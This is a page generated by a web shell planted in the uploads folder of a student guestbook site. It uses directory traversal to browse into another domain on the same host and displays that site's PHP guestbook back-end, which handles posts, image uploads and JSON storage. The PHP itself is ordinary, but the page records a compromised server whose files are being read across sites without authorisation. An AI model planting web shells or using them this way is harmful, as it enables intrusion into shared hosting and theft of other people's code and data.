🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ../../../../584311.klas4s23.mid-ica.nl/public_html/Gastemboekvps/back.php

<?php
session_start();

function uploadImage() {
    $target_dir = "imageupload/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file, PATHINFO_EXTENSION));
    
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    if($check === false) {
        $uploadOk = 0;
    }

    if ($_FILES["fileToUpload"]["size"] > 15000000) {
        $uploadOk = 0;
    }
    
    if ($imageFileType != "jpg" && $imageFileType != "png" && $imageFileType != "jpeg"
    && $imageFileType != "gif") {
    echo '<script type="text/javascript">';
    echo 'alert("Sorry, alleen JPG, JPEG, PNG en GIF-bestanden zijn toegestaan.");';
    echo 'window.location.href = "index.php";'; 
    echo '</script>';
    exit(); 
} 

    
    if ($uploadOk == 0) {
        return null;
    } else {
        if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) {
            return $target_file;
        } else {
            return null;
        }
    }
}

if ($_SERVER["REQUEST_METHOD"] == "POST") {
    // Check if a message has already been sent in this session
    if (!isset($_SESSION['message_sent'])) {
        $name = $_POST['name'];
        $message = $_POST['message'];
        
        // Controleer of de lengte van name en message niet meer is dan het maximum
        if (strlen($name) > 20 || strlen($message) > 1500) {
            echo '<script type="text/javascript">';
            echo 'alert("Het maximum aantal tekens voor naam is 20 en voor bericht is 1500.");';
            echo 'window.location.href = "index.php";'; 
            echo '</script>';
            exit(); 
        }

        $timestamp = time();
        $formattedDate = date('Y-m-d H:i:s', $timestamp);

        $picture = null;
        if(isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] == UPLOAD_ERR_OK) {
            $picture = uploadImage();
        }

        $new_messages = array(
            'name' => htmlentities($name),
            'message' => htmlentities($message),
            'timestamp' => $formattedDate,
            'imagepath' => $picture
        );

        $json_data = file_get_contents('data.json');
        $assoc_data = json_decode($json_data, true);

        $assoc_data[] = $new_messages;

        file_put_contents('data.json', json_encode($assoc_data, JSON_PRETTY_PRINT));

        // Mark message as sent in this session
        $_SESSION['message_sent'] = true;

        header('Location: index.php');
        exit(); 
    } else {
        echo '<script type="text/javascript">';
        echo 'alert("Een bericht is al verzonden in deze sessie. Probeer het later opnieuw.");';
        echo 'window.location.href = "index.php?error=already_sent";'; // Redirect de gebruiker naar de juiste pagina
        echo '</script>';
        exit(); 
    }
}



?>

🎯 Available Actions